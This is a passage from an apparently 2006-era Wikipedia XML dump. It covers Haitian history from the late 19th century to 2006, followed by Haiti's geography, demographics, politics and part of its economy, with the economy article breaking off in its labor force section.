The last two decades of the 19th century were also marked by the development of a Haitian intellectual culture. Major works of history were published in 1847 and 1865. Haitian intellectuals, led by [[Louis-Joseph Janvier]] and [[Antenor Firmin]], engaged in a war of letters against a tide of racism and [[social Darwinism]] that emerged during this period.

The Constitution of 1867 saw peaceful and progressive transitions in government that did much to improve the economy and stability of the Haitian nation and the condition of its people. Constitutional government restored the faith of the Haitian people in legal institutions. The development of industrial sugar and rum industries near [[Port-au-Prince]] made Haiti, for a while, a model for economic growth in Latin American countries.

==Foreign intervention==

This period of relative stability and prosperity ended in 1911 when revolution broke out and the country slid once again into disorder and debt. In February 1915 [[Guillaume Sam]] established a dictatorship, but in July he was lynched by a mob in Port-au-Prince. Shortly afterwards, the United States, responding to complaints to President [[Woodrow Wilson]] from American banks to which Haiti was deeply in debt, occupied the country. The [[United States occupation of Haiti (1915-1934)|occupation of Haiti]] lasted until 1934. Although the U.S. occupation was oppressive and sometimes brutal, reforms were carried out. The currency was reformed and the debt stabilised. Corruption was reduced, although never eradicated. Public health, education and agricultural development were greatly improved. 

Although the U.S. remained the effective ruler of Haiti until 1934, a facade of constitutional government was restored, after [[Franklin D. Roosevelt]], Under-Secretary for the Navy in the Wilson Administration, personally wrote a new constitution. [[Philippe Dartiguenave]],        [[Louis Borno]] and [[Sténio Vincent]] successively served as President. All these rulers came from the country's small [[mulatto]] minority, whom the Americans considered more &quot;civilised,&quot; while the black majority was kept in subordination. The U.S. began to withdraw its forces in 1930, and the withdrawal was completed by Roosevelt, as President, in 1934, under his &quot;[[Good Neighbor policy]]&quot;. The U.S. retained control of Haiti's external finances until 1947.

==Renewed dictatorship==

Sténio Vincent was succeeded as President in 1941 by [[Élie Lescot]], but in 1946 increasing economic difficulties led to a military ''coup''. The military junta handed over power to [[Dumarsais Estimé]], a black Haitian, who introduced major reforms in labor and social policy, and greatly expanded civil and political liberties for the black majority. In 1949 Lescot tried to change the constitution to allow for his own re-election, but in 1950 this triggered another ''coup''. General [[Paul Magloire]] then established a dictatorship which lasted until December 1956, when he was forced to resign by a general strike. After a period of disorder, elections were held in September 1957, which saw Dr [[François Duvalier]] elected President.

Duvalier (known as &quot;Papa Doc&quot;) soon established another dictatorship. His regime is regarded as one of the most repressive and corrupt of modern times, combining violence against political opponents with exploitation of the traditional ''[[voodoo|voudon]]'' religion to instil fear in the majority of the population. Duvalier's paramilitary police, the [[Tonton Macoute]], so named after a Voudon monster, carried out political murders, beatings, and intimidation. Duvalier's policies led to massive emigration of educated people, deepening Haiti's economic and social problems. But Duvalier appealed to the black middle class of which he was a member by introducing public works into middle class neighborhoods which previously had been unable to have paved roads, running water, or modern sewage systems. In 1964 Duvalier proclaimed himself &quot;President for Life.&quot; 

On Duvalier's death in April 1971 power passed to his 19-year-old son [[Jean-Claude Duvalier]] (known as &quot;Baby Doc&quot;). Under Jean-Claude Duvalier Haiti's economic and political condition continued to decline, although some of the more fearsome elements of his father's regime were abolished. Attempts by successive U.S. administrations to prod Haiti towards democratic reforms failed, but the economic crisis brought on by the appearance of [[AIDS]] in Haiti in 1983 finally provoked a rebellion, and in February 1986, after months of disorder, the army forced Duvalier to resign and go into exile.

==The Aristide era==

From Haiti 1986 to 1990 Haiti was ruled by a series of provisional governments. In 1987 a new constitution was ratified, providing for an elected bicameral parliament, an elected president, and a prime minister, cabinet, ministers, and supreme court appointed by the president with parliament's consent. The Constitution also provided for political decentralization through the election of mayors and administrative bodies responsible for local government. At the first elections under the new constitution, in December 1990, [[Jean-Bertrand Aristide]], a charismatic Roman Catholic priest, won 67% of the vote in elections that international observers deemed largely free and fair. 

Aristide's radical populist policies alarmed many of the country's elite, and in September 1991 he was overthrown in a violent coup that brought General [[Raoul Cédras]] to power. There was violent resistance to the coup, in which hundreds were killed, and Aristide was forced into exile. An estimated 3,000-5,000 Haitians were killed during the period of military rule. The coup created a large-scale exodus of refugees to the U.S. The [[U.S. Coast Guard]] rescued a total of 41,342 Haitians during 1991 and 1992.

The military regime governed Haiti until 1993. Various initiatives to end the political crisis through the peaceful restoration of the constitutionally elected government failed. In July 1994, as repression mounted in Haiti and a civilian human rights monitoring mission was expelled from the country, the [[UN Security Council]] adopted [[UN Security Council Resolution 940]], which authorized member states to use all necessary means to facilitate the departure of Haiti's military leadership and to restore Haiti's constitutionally elected government to power.

In mid-September, with U.S. troops prepared to enter Haiti by force, President [[Bill Clinton]] dispatched a negotiating team led by former President [[Jimmy Carter]] to persuade the authorities to step aside and allow for the return of constitutional rule. With intervening troops already airborne, Cédras and other top leaders agreed to step down. In October Aristide was able to return. Elections were held in June 1995. Aristide's coalition, the Lavalas (Waterfall) Political Organization, had a sweeping victory. When Aristide's term ended in February [[1996]], [[René Préval]], a prominent Aristide political ally, was elected President with 88% of the vote: this was Haiti's first ever transition between two democratically elected presidents.

In late 1996, Aristide broke with Préval and formed a new political party, the Lavalas Family ([[Fanmi Lavalas]], FL), which won elections in April 1997 for one-third of the Senate and local assemblies, but these results were not accepted by the government. The split between Aristide and Préval produced a dangerous political deadlock, and the government was unable to organize the local and parliamentary elections due in late 1998. In January 1999 Préval dismissed legislators whose terms had expired &amp;ndash; the entire Chamber of Deputies and all but nine members of the Senate, and Préval then ruled by decree.

Elections for the Chamber of Deputies and two-thirds of the Senate took place in May 2000. The election drew a voter turnout of more than 60%, and the FL won a virtual sweep. But the elections were flawed by irregularities and fraud, and the opposition parties, regrouped in the Democratic Convergence (Convergence Democratique, CD), demanded that the elections be annulled, that Préval stand down and be replaced by a provisional government. In the meantime, the opposition announced it would boycott the November presidential and senatorial elections. Haiti's main aid donors threatened to cut off aid. 

As a result of this impasse, the November 2000 elections were boycotted by the opposition, and Aristide was again elected president with more than 90% of the vote, on a very low turnout. The opposition refused to accept the result or to recognise Aristide as president. Major disorders were prevented by the continuing presence of U.S. and other foreign forces, under U.N. auspices. The initial 21,000-strong force became a U.N. peacekeeping force of 6,000 troops in 1995, and was scaled back progressively over the next four years as a series of UN technical missions succeeded the peacekeeping force. In January 2000 the last U.S. troops departed.

The continuing political deadlock between Aristide and the opposition prevented legislative elections being held as scheduled in late 2003, and consequently the terms of most legislators expired in January, forcing Aristide to rule by decree. In December [[2003]], under increasing pressure, Aristide promised new elections within six months. He refused demands from the opposition that he step down immediately. Anti-Aristide protests in January 2004 led to violent clashes in Port-au-Prince, causing several deaths. In February a revolt broke out in the city of [[Gonaïves]], which was soon under rebel control. (See the article [[2004 Haiti Rebellion]].) The rebellion then began to spread, and Cap-Haïtien, Haiti's second-largest city, was captured. A mediation team of diplomats presented a plan to reduce Aristide's power, while allowing him to remain in office until the constitutional end of his term. Although Aristide accepted the plan, it was rejected by the opposition.

As rebels began marching towards Port-au-Prince, Aristide departed from Haiti on February 29. There is controversy over whether or not he was forced by the U.S. to leave the country; Aristide claims that he was essentially kidnapped by the U.S., while the U.S. maintains that he resigned. The government was taken over by supreme court chief [[Boniface Alexandre]]. Many political organizations and writers, as well as Aristide himself, have suggested that the rebellion was in fact a foreign controlled coup d'état. [[Caricom]], which had been backing the peace deal, accused the United States, France, and the International community of failing in Haiti because they allowed a democratically elected leader to be violently forced out of office. The U.S. claimed that the crisis was of Aristide's making and that he was not acting in the best interests of his country. They have argued that his removal was necessary for future stability in the island nation.

After Aristide's overthrow the violence in Haiti continued, despite the presence of peacekeepers. Clashes between police and Fanmi Lavalas supporters were common, and peacekeeping forces were accused of conducting a massacre against the residents of [[Cité Soleil]] in July 2005. Many protests were organized to demand the return of Aristide. Several of the protests resulted in violence and deaths. In the midst of the ongoing controversy and violence, however, the interim government planned legislative and executive elections. After being postponed several times, these were held in February 2006

==See also==

*[[Haiti timeline]]
*[[List of Presidents of Haiti]]

==References==

* [http://www.hartford-hwp.com/archives/43a/index-aa.html Bob Corbett's 1995 on-line course on Haitian history]
* [http://www.thenation.com/doc.mhtml?i=20050801&amp;s=klein Article by Naomi Klein in The Nation]
* [http://www.zmag.org/content/showarticle.cfm?SectionID=55&amp;ItemID=8407 Article by Aaron Mate from Z-Net]
* [https://listhost.uchicago.edu/mailman/listinfo/haiti-news Haiti-news list] - news and information about current events in Haiti
* [http://thelouvertureproject.org/wiki/ The Louverture Project] - A Haitian History Wiki

[[Category:History of Haiti|*]]

[[de:Geschichte Haitis]]
[[es:Historia de Haití]]
[[pt:História do Haiti]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Haiti</title>
    <id>13375</id>
    <revision>
      <id>35835997</id>
      <timestamp>2006-01-19T17:51:13Z</timestamp>
      <contributor>
        <username>Darwinek</username>
        <id>107928</id>
      </contributor>
      <comment>.added map</comment>
      <text xml:space="preserve">[[Image:Haiti map.png|right|frame|Map of Haiti.]]
[[Image:Hispaniola lrg.jpg|thumb|330px|Topography of Hispaniola]]

The nation of [[Haiti]] comprises the western one-third of the [[island]] of [[Hispaniola]], west of the [[Dominican Republic]] and between the [[Caribbean Sea]] and the [[Atlantic Ocean|North Atlantic Ocean]]. Haiti's [[Geographic coordinate system|geographic coordinate]]s are at a [[longitude]] of 72&amp;deg; 25&amp;prime; west and a [[latitude]] of 19&amp;deg; 00&amp;prime; north. The total area is 27,750km,&amp;sup2; of which 27,560km&amp;sup2; is land and 190km&amp;sup2; is water. This makes Haiti slightly smaller than the [[U.S. state]] of [[Maryland]]. Haiti has 1,771km of [[coastline]] and a 360km-border with the Dominican Republic.

Haiti's lowest elevation is at [[sea level]]; its highest point is [[Chaine de la Selle]] at 2,680m. There are no navigable [[river]]s; the largest [[lake]] is [[Etang Saumâtre]], a [[Salt water|salt-water]] [[Body of water|body]] located in the southern region. 

; Maritime claims:
:* [[Contiguous zone]]: 24 [[Nautical mile|nm]]
:* [[Continental shelf]]: to depth of exploitation
:* [[Exclusive economic zone]]: 200 nm
:* [[Territorial sea]]: 12 nm

; Climate:
: Tropical; semiarid where mountains in east cut off trade winds
; Terrain:
: Mostly rough and mountainous

; Natural resources:
: [[Bauxite]], [[copper]], [[calcium carbonate]], [[gold]], [[marble]], [[hydropower]]
; Land use:
:* Arable land: 20.32%
:* Permanent crops: 12.7%
:* Other: 66.98% (1998 est.)
; Natural hazards:
: Lies in the middle of the hurricane belt and subject to severe storms from June to October; occasional flooding and earthquakes; periodic droughts
; Environment--current issues:
: Extensive deforestation (much of the remaining forested land is being cleared for agriculture and used as fuel); soil erosion; inadequate supplies of potable water
; Environment--international agreements:
:* Party to: [[Biodiversity]], [[United Nations Framework Convention on Climate Change|Climate Change]], [[Desertification]], [[Law of the Sea]], [[Marine Dumping]], [[Marine Life Conservation]]
:* Signed, but not ratified: [[Hazardous Wastes]], [[Nuclear Test Ban]]

[[Category:Geography of Haiti| ]]
[[Category:Geography by country|Haiti]]

[[es:Geografía de Haití]]
[[pt:Geografia do Haiti]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Haiti</title>
    <id>13376</id>
    <revision>
      <id>35834758</id>
      <timestamp>2006-01-19T17:39:37Z</timestamp>
      <contributor>
        <username>Darwinek</username>
        <id>107928</id>
      </contributor>
      <minor />
      <text xml:space="preserve">Although [[Haiti]] averages approximately 250 people per square kilometre (650 per sq. mi.), its [[population]] is concentrated most heavily in [[urban area | urban areas ]], [[coastal plain]]s, and [[valley]]s. About 95% of Haitians are of [[African]] descent. The rest of the population is mostly of mixed [[whites|Caucasian]]-African ancestry. A few are of [[European]] or [[Levantine]] heritage. About two thirds of the population live in [[rural]] areas.

[[French language|French]] is one of two official languages, but it is spoken by only about 10% of the people. All Haitians speak [[Creole language|Creole]], the country's other official language. [[English language|English]] is increasingly spoken among the young and in the business sector.

The state religion is [[Roman Catholic]]ism, which most of the population professes. Some Haitians have converted to [[Protestant]]ism through the work of missionaries active throughout the country. Much of the population also practices [[voodoo]] traditions. Haitians tend to see no conflict in these African-rooted beliefs co-existing with [[Christianity|Christian]] faiths.

Although [[public education]] is free, [[Private school|private]] and [[Parochial school|parochial]] schools provide around 75% of educational programs offered and less than 65% of those eligible for [[primary education]] are actually enrolled. At the [[Secondary education|secondary]] level, the figure drops to 15%. Only 63% of those enrolled will complete primary school. On average it takes 16 years to produce a single [[alumnus/a|graduate]] of the 6-year cycle. Though Haitians place a high value on education, few can afford to send their children to secondary school. [[Remittance]]s sent by Haitians living abroad are important in paying educational costs.

Large-scale [[emigration]], principally to the [[United States]] - but also to [[Canada]], the [[Dominican Republic]], the [[Bahamas]], and other [[Caribbean]] neighbors - has created what Haitians refer to as the Tenth Department or the [[Diaspora]]. About one of every six Haitians live abroad.

In a July 2001 estimate by the Haiti's Institute of Statistics the [[population]] was 8,131,513. Age Structure: 0-14 years age: 3,229,469; 15-64 years: 4,590,596; 65 years and above: 311,448.

----

'''Population:''' 7,527,817 (July 2003 est.)&lt;br&gt;
''Note:'' Estimates for this country explicitly take into account the effects of excess [[mortality]] due to [[AIDS]]; this can result in lower life expectancy, higher infant mortality and death rates, lower population and growth rates, and changes in the distribution of population by age and sex than would otherwise be expected. 

'''Age structure:''' (2003 est.)&lt;br&gt;
''0-14 years:'' 42.7% (male 1,637,853; female 1,575,893)&lt;br&gt;
''15-64 years:'' 53.6% (male 1,962,975; female 2,073,353)&lt;br&gt;
''65 years and over:'' 3.7% (male 131,784; female 145,959)

'''Median age:''' (2002)&lt;br&gt;
''Total:'' 17.9 years&lt;br&gt;
''Male:'' 17.4 years&lt;br&gt;
''Female:'' 18.5 years

'''Population growth rate:''' 1.67% (2003 est.)

'''Birth rate:''' 34.06 births/1,000 population (2003 est.)

'''Death rate:''' 13.36 deaths/1,000 population (2003 est.)

'''Net migration rate:''' -4.03 migrant(s)/1,000 population (2003 est.)

'''Sex ratio:''' (2003 est.)&lt;br&gt;
''At birth:'' 1.05 male(s)/female&lt;br&gt;
''Under 15 years:'' 1.04 male(s)/female&lt;br&gt;
''15-64 years:'' 0.95 male(s)/female&lt;br&gt;
''65 years and over:'' 0.9 male(s)/female&lt;br&gt;
''Total population:'' 0.98 male(s)/female

'''Infant mortality rate:''' (2003 est.)&lt;br&gt;
''Total:'' 76.01 deaths/1,000 live births&lt;br&gt;
''Female:'' 70.15 deaths/1,000 live births&lt;br&gt;
''Male:'' 81.59 deaths/1,000 live births

'''Life expectancy at birth:''' (2003 est.)&lt;br&gt;
''Total population:'' 51.61 years&lt;br&gt;
''Male:'' 50.36 years&lt;br&gt;
''Female:'' 52.92 years

'''Total [[fertility]] rate:''' 4.86 children born/woman (2003 est.)

'''[[HIV]]/[[AIDS]] - adult prevalence rate:''' 6.1% (2001 est.)

'''HIV/AIDS - people living with HIV/AIDS:''' 250,000 (2001 est.)

'''HIV/AIDS - deaths:''' 30,000 (2001 est.)

'''Nationality:'''&lt;br&gt;
''Noun:'' Haitian(s)&lt;br&gt;
''Adjective:'' Haitian&lt;br&gt;
''Ethnic groups:'' Black 95%, Mulatto and White 5%

'''Religions:''' Roman Catholic 80%, Protestant 16% ([[Baptist]] 10%, [[Pentecostal]] 4%, [[Adventist]] 1%, other 1%), none 1%, other 3% (1982)&lt;br&gt;
''Note:'' roughly half of the population also practices Voodoo

'''Languages:''' French (official), Creole (official)

'''Literacy:''' (2003 est.)&lt;br&gt;
''Definition:'' Age 15 and over that can read and write&lt;br&gt;
''Total population:'' 52.9%&lt;br&gt;
''Male:'' 54.8%&lt;br&gt;
''Female:'' 51.2%

==See also==
*[[Haiti]]

[[Category:Demographics by country|Haiti]]
[[Category:Haitian society]]

[[es:Demografía de Haití]]
[[pt:Demografia do Haiti]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Haiti</title>
    <id>13377</id>
    <revision>
      <id>40874619</id>
      <timestamp>2006-02-23T16:15:17Z</timestamp>
      <contributor>
        <ip>201.135.55.224</ip>
      </contributor>
      <comment>not &quot;alleged forced resignation&quot; because Aristide says he never resigned; updated election info</comment>
      <text xml:space="preserve">{{Politics of Haiti}}

[[Haiti]] is officially a [[President|presidential]] [[republic]], although it is often claimed to be [[authoritarian]] in practice. [[Suffrage]] is [[Universal suffrage|universal]], for adults over 18.
The [[constitution]] was modeled after those of the [[United States]] and of [[France]]. It was approved in March [[1987]], but it was completely suspended from June [[1988]] to March [[1989]] and was only fully reinstated in October [[1994]]. On [[February 29]], [[2004]], a [[2004 Haiti rebellion|rebellion culminated]] in the alleged coup against the popularly elected president, [[Jean-Bertrand Aristide]], with the assistance of the French and United States governments.  The first elections since the overthrow were held on [[Haitian elections, 2006|February 8, 2006]] to elect a new [[President]]. Rene Preval won that election with over 50 percent of the vote. Elections for legislative seats are scheduled for May.


==Government==
The constitution distributes power between an [[executive branch|executive]], a [[Legislature|legislative]] and a [[judicial branch]].


===Executive branch===


The '''president''' is the [[head of state]] and elected by [[popular vote]] every 5 years. He is assisted by his cabinet which needs to be approved by the National Assembly. [[Jean-Bertrand Aristide]] had been in office since [[February 7]], [[2001]], having received 92% of votes in the elections of [[2000]].  On [[February 29]], [[2004]], Preisdent Aristide supposedly &quot;voluntarily relinquished&quot; the presidency.  However, Aristide claims he was pressured to accept the demands of the rebels by the [[United States]] and [[France]].
The current de-facto interim president is [[Boniface Alexandre]], who, as Chief Justice of the Supreme Court, was in line to succeed the President in case of death or resignation, according to the 1987 [[Constitution of Haiti]].
''(see also: [[2004 Haiti Rebellion]], [[List of Presidents of Haiti]])''

The '''prime minister''', the [[head of government]], is appointed by the president and ratified by the National Assembly. [[Yvon Neptune]] was appointed Prime Minister on [[March 4]], [[2002]], but following the overthrow of the government in February 2004, he was replaced by an interim Prime Minister, [[Gérard Latortue]]. The constitutional Prime Minister, [[Yvon Neptune]] languished in jail for over a year, accused of a 'massacre' in St. Marc on sketchy evidence, provoking UN officials to ask for his release or at least due process to be followed.  So, put in jail in June 2004, Yvon Neptune was formally charged on [[September 20]] [[2005]].

''See [[2005 Haitian Elections]], [[2000 Haitian Elections]], [[1995 Haitian Elections]], and [[1990 Haitian Elections]]''

===Legislative branch===


The bicameral '''National Assembly''' (Assemblée Nationale) consists of the Chamber of Deputies (Chambre des Députés) and the Senate (Sénat).

The '''Chamber of Deputies''' has eighty three members which are elected for four-year terms. The last elections took place in May [[2000]].  Candidates from Aristide's Lavalas Family Party held seventy three of these eighty three seats. Following the overthrow of the government in February [[2004]], the Chamber of Deputies remained empty.  

The '''Senate''' consists of twenty seven seats, one third elected every two years. In the popular elections of 2000, twenty six seats were won by Aristide's Lavalas Family Party. The Senate is no longer in session following the overthrow of the government in February 2004. The remaining Senators are not recognised by the interim government. New elections are due in late [[2005]].

===Judicial branch===


The legal system is based on the [[Rome|Roman]] civil law system. Haiti accepts compulsory [[jurisdiction]] of the [[International Court of Justice]].

There is a [[Supreme Court]] (Cour de Cassation), assisted by local and civil courts at a communal level.


===Country name===

*conventional long form: ''Republic of Haiti''
*conventional short form: ''Haiti''
*local long form: ''République d'Haïti'' ([[French language|French]]), ''Repiblik d Ayti'' ([[Haitian Creole|Creole]])
*local short form: ''Haïti'' (French), ''Ayiti'' (Creole)

===Administrative divisions===

Nine '''départments''': [[Artibonite]], Centre, Grand'Anse, Nord, Nord-Est, Nord-Ouest, Ouest, Sud, Sud-Est


===Political parties and elections===
{{elect|List of political parties in Haiti|Elections in Haiti}}
{{Haitian presidential election, 2006}}
====Political parties and leaders====

*Alliance for the Liberation and Advancement of Haiti or ALAH [Reynold GEORGES]
*Assembly of Progressive National Democrats or RDNP [Leslie MANIGAT]
*Convergence (opposition coalition composed of ESPACE, OPL, and MOCHRENA) [Gerard PIERRE-CHARLES, Evans PAUL, Luc MESADIEU, Victor BENOIT]
*Democratic Consultation Group coalition or ESPACE [Evans PAUL, Victor BENOIT] composed of the following parties: National Congress of Democratic Movements or KONAKOM, National Progressive Revolutionary Party or PANPRA, Generation 2004, and Haiti Can
*Haitian Christian Democratic Party or PDCH [Marie-France CLAUDE]
*Haitian Democratic Party or PADEM [Clark PARENT]
*Lavalas Family or FL [Jean-Bertrand ARISTIDE]
*Mobilization for National Development or MDN [Hubert DE RONCERAY]
*Movement for National Reconstruction or MRN [Rene THEODORE]
*Movement for the Installation of Democracy in Haiti or MIDH [Marc BAZIN]
*Movement for the Organization of the Country or MOP [Gesner COMEAU and Jean MOLIERE]
*National Cooperative Action Movement or MKN [Volrick Remy JOSEPH]
*National Front for Change and Democracy or FNCD [Evans PAUL and Turneb DELPE]
*New Christian Movement for a New Haiti or MOCHRENA [Luc MESADIEU]
*Open the Gate or PLB [Renaud BERNARDIN]
*Struggling People's Organization or OPL [Gerard PIERRE-CHARLES]
*Afe Peyizan ak Pep Ayisyen APPA[Lucien Petit.www.afepeyizanakpepayisyenappa.org]

===Political pressure groups and leaders===

Autonomous Haitian Workers or CATH; Confederation of Haitian Workers or CTH; Federation of Workers Trade Unions or FOS; National Popular Assembly or APN; Papaye Peasants Movement or MPP; Popular Organizations Gathering Power or PROP; [[Roman Catholic Church]]

===International organization participation===

[[ACCT]], [[ACP]], [[Caricom]] (suspended member), [[CCC]], [[ECLAC]], [[Food and Agriculture Organization|FAO]], [[G-77]], [[IADB]], [[IAEA]], [[IBRD]], [[ICAO]], [[ICRM]], [[IDA]], [[IFAD]], [[IFC]], [[IFRCS]], [[International Labour Organization|ILO]], [[IMF]], [[International Maritime Organization|IMO]], [[Intelsat]], [[Interpol]], [[IOC]], [[International Organization for Migration|IOM]], [[ITU]], [[LAES]], [[OAS]], [[OPANAL]], [[OPCW]], [[PCA]], [[UN]], [[UNCTAD]], [[UNESCO]], [[UNIDO]], [[UPU]], [[WCL]], [[WFTU]], [[WHO]], [[WIPO]], [[WMO]], [[WToO]], [[WTrO]]

===See also===

* [[List of Presidents of Haiti]]

[[Category:Politics of Haiti| ]]

[[fr:Politique d'Haïti]]
[[pt:Política do Haiti]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Haiti</title>
    <id>13378</id>
    <revision>
      <id>41470589</id>
      <timestamp>2006-02-27T15:52:14Z</timestamp>
      <contributor>
        <username>Gene.arboit</username>
        <id>278325</id>
      </contributor>
      <comment>fr:</comment>
      <text xml:space="preserve">{{Economy of Haiti table}}

==Economic Overview==
Since the demise of the Duvalier dictatorship in [[1986]], international economists have urged [[Haiti]] to reform and modernize its economy. Under President [[René Préval]], the country's economic agenda included trade and tariff liberalization, measures to control government expenditure and increase tax revenues, civil service downsizing, financial sector reform, and the modernization of state-owned enterprises through their sale to private investors, the provision of private sector management contracts, or joint public-private investment. Structural adjustment agreements with the [[International Monetary Fund]], [[World Bank]], [[Inter-American Development Bank]], and other international financial institutions are aimed at creating necessary conditions for private sector growth, have proved only partly successful.

In the aftermath of the [[1994]] restoration of constitutional governance, Haitian officials have indicated their commitment to economic reform through the implementation of sound fiscal and monetary policies and the enactment of legislation mandating the modernization of state-owned enterprises. A council to guide the modernization program (CMEP) was established and a timetable was drawn up to modernize nine key parastatals. Although the state-owned flour mill and cement plants have been transferred to private owners, progress on the other seven parastatals has stalled. The modernization of Haiti's state-enterprises remains a controversial political issue in Haiti.

External aid is essential to the future [[economic development]] of Haiti, the least-developed country in the [[Western Hemisphere]] and one of the poorest in the world. Comparative social and economic indicators show Haiti falling behind other low-income developing countries (particularly in the hemisphere) since the 1980s. Haiti's economic stagnation is the result of earlier inappropriate economic policies, political instability, a shortage of good arable land, environmental deterioration, continued use of traditional technologies, under-capitalization and lack of public investment in human resources, migration of large portions of the skilled population, and a weak national savings rate.

Haiti continues to suffer the consequences of the 1991 coup and the irresponsible economic and financial policies of the de facto authorities greatly accelerated Haiti's economic decline. Following the coup, the [[United States]] adopted mandatory sanctions, and the [[OAS]] instituted voluntary sanctions aimed at restoring constitutional [[government]]. International sanctions culminated in the May 1994 [[United Nations]] embargo of all goods entering Haiti except humanitarian supplies, such as [[food]] and [[medicine]]. The assembly sector, heavily dependent on U.S. markets for its products, employed nearly 80,000 workers in the mid-1980s. During the embargo, employment fell from 33,000 workers in 1991 to 400 in October 1994. Private domestic and foreign investment has been slow to return to Haiti. Since the return of constitutional rule, assembly sector employment has gradually recovered with over 20,000 now employed, but further growth has been stalled by investor concerns over safety and supply reliability.

If the political situation stabilizes, high crime levels reduce, and new investment increases, tourism could take its place next to export-oriented manufacturing (the assembly sector) as a potential source of foreign exchange. Remittances from abroad now constitute a significant source of financial support for many Haitian households.

Haiti's real [[Gross domestic product|GDP]] growth turned negative in FY 2001 after six years of growth. Real GDP fell by 1.1% in FY 2001 and 0.9% in FY 2002. Macroeconomic stability was adversely affected by political uncertainty, the collapse of informal [[bank]]ing cooperatives, high [[budget deficit]]s, low investment, and reduced international capital flows, including suspension of IFI lending as Haiti fell into arrears with the Inter-American Development Bank (IDB) and World Bank.

Haiti’s economy stabilized in 2003. Although FY 2003 began with the rapid decline of the gourde due to rumors that [[U.S. dollar]] deposit accounts would be nationalized and the withdrawal of fuel subsidies, the government successfully stabilized the gourde as it took the politically difficult decisions to float fuel prices freely according to world market prices and to raise interest rates. Government agreement with the [[International Monetary Fund]] (IMF) on a staff monitored program (SMP), followed by its payment of its $32 million arrears to the IDB in July, paved the way for renewed IDB lending. The IDB disbursed $35 million of a $50 million policy-based loan in July and began disbursing four previously approved project loans totaling $146 million. The IDB, IMF, and [[World Bank]] also discussed new lending with the government. Much of this would be contingent on government adherence to fiscal and monetary targets and policy reforms, such as those begun under the SMP, and Haiti’s payment of its World Bank arrears ($30 million at 9/30/03).

The IMF estimates real GDP was flat in FY 2003 and projects 1% real GDP growth for FY 2004. However, [[GDP per capita]]-- $425 in FY [[2002]]-- will continue to decline as population growth is estimated at 1.3% p.a. While implementation of governance reforms and peaceful resolution of the political stalemate are key to long-term growth, external support remains critical in avoiding economic collapse. The major element is foreign remittances, reported as $931 million in 2002, primarily from the U.S. Foreign assistance, meanwhile, was $130 million in FY 2002. Overall foreign assistance levels have declined since FY 1995, the year elected government was restored to power under a [[UN]] mandate, when over $600 million in aid was provided by the international community. 

Workers in Haiti are guaranteed the right of association. Unionization is protected by the labor code. A legal minimum wage of 36 gourds a day (about U.S. $1.80) applies to most workers in the formal sector.

==U.S. Economic and Development Assistance==
Political insecurity and the failure of Haiti's governments to invest in developing the country's natural and human resources attribute significantly to the country's current state of underdevelopment. U.S. efforts to strengthen democracy and to rebuild Haiti's economy aim to rectify this condition. The U.S. has been Haiti's largest donor since 1973. Between FY 95 and FY 99, the U.S. has contributed roughly $884 million in assistance to Haiti. These funds have been used to support programs that have addressed a variety of problems. Among the initiatives funds have supported are:

* Food assistance programs that include a school lunch program that feeds around 500,000 children daily.
* Agricultural development programs that have endeavored to revitalize Haiti's coffee sector and to help thousands of Haitian farmers adopt sustainable agricultural practices and protect the environment.
* Teacher training programs that have included 6,000 educators at the primary and secondary level.
* Population programs that have expanded modern family planning practices in many rural areas.
* Health care programs that have supported child immunization and have helped provide primary care to nearly half of the Haitian population.

In addition to financial support, the U.S. provides human resources. U.S. Peace Corps volunteers returned to Haiti in 1995, largely focusing their efforts on income generation programs in Haiti's rural areas. Many private U.S. citizens travel regularly to Haiti or reside there for extended periods to work in humanitarian projects.

Haiti has been plagued for decades by extremely high unemployment and underemployment. The precipitous decline in urban assembly sector jobs, from a high of 80,000 in 1986 to fewer than 17,000 in 1994, exacerbated the scarcity of jobs. To revitalize the economy, U.S. assistance has attempted to create opportunities for stable sustainable employment for the growing population, particularly those who comprise the country's vast informal economy. A post-intervention transitional program of short-term job creation principally in small towns and rural areas provided employment to as many as 50,000 workers per day throughout the country. More recently, programs that help to increase commercial bank lending to small- and medium-scale entrepreneurs, especially in the agricultural sector, have helped to create jobs and foster economic growth.

Additional U.S. efforts in economic revitalization include the establishment of the U.S.-Haiti Business Development Council, an Overseas Private Investment Corporation commercial loan program, and inclusion of Haiti within the Caribbean Basin Initiative. These efforts all provide greater market opportunities for American and Haitian businesses. Current Congressional prohibitions on providing assistance to or through the Haitian Government has accelerated the move to private voluntary agencies as contractors to oversee use of U.S. aid funds.

==Agriculture==

[[Agriculture]] occupies the dominate position in Haiti's economy.  However, migration to the cities has changed much of this since the 1950s.  As of the late 80s, agriculture occupied about 35% of the [[GDP]] ([http://countrystudies.us/haiti/48.htm 2]), though the continued migration to the cities, as well as poor technology and undernourished farmers probably has dropped agriculture's role in the economy since that time.  In 2001 production of agricultural products contracted by 5% ([http://search.epnet.com/login.aspx?direct=true&amp;db=f5h&amp;an=9049960 4]).  The cash crops of Haiti include [[coffee]], [[mangoes]], [[sugarcane]], [[rice]], [[maize|corn]], [[sorghum]], [[wood]] ([http://www.cia.gov/cia/publications/factbook/geos/ha.html 1]).

===Coffee===
Coffee occupies the spot of being the primary crop grown among peasants not intended for personal consumption.  Though most of their farming is subsistence, coffee is grown for exporting, as is done in many other [[Latin America|Latin American]] nations.  As with many other coffee growing countries, the fall of the price of coffee has led to down times for Haitian farmers, although some have continued to grow it even after it becomes a loss.  In 2001 Coffee stopped being the main export ([http://usinfo.state.gov/wh/Archive/2005/Aug/09-77560.html 3]).  As a result in the price drop, many Haitians have chosen to take advantage of the [[Fair Trade]] movement in selling their export.  Other than the drop in price, other factors have contributed to the decline in coffee production, such as poor road conditions leading from the isolated areas in which coffee is grown in Haiti ([http://search.epnet.com/login.aspx?direct=true&amp;db=aph&amp;an=9302160607 5]).  Political instability and national debt have allowed many, previously only rock roads, deteriorate until now the farmers are having trouble getting the crop to Port-au-Prince to sell.  In addition in the early 90s a fungal disease known as [[coffee rust]] ravaged the crop throughout the country.

==Labor Force==
The labor force, as of 1995, was estimated at  3.6 million, but with a shortage of skilled labor.

[[Image:Haitiunemployment.GIF|frame|Sources:  [[CIA World Factbook|CIA World Factbooks]], [[Agency for International Development]]]]
Finding unemployment statistics from Haiti is very difficult because of the lack of publication of such data from the Haitian agencies in charge of collecting it.  Most sources that we do have available come from United States agencies such as the [[Agency for International Development]] (USAID).

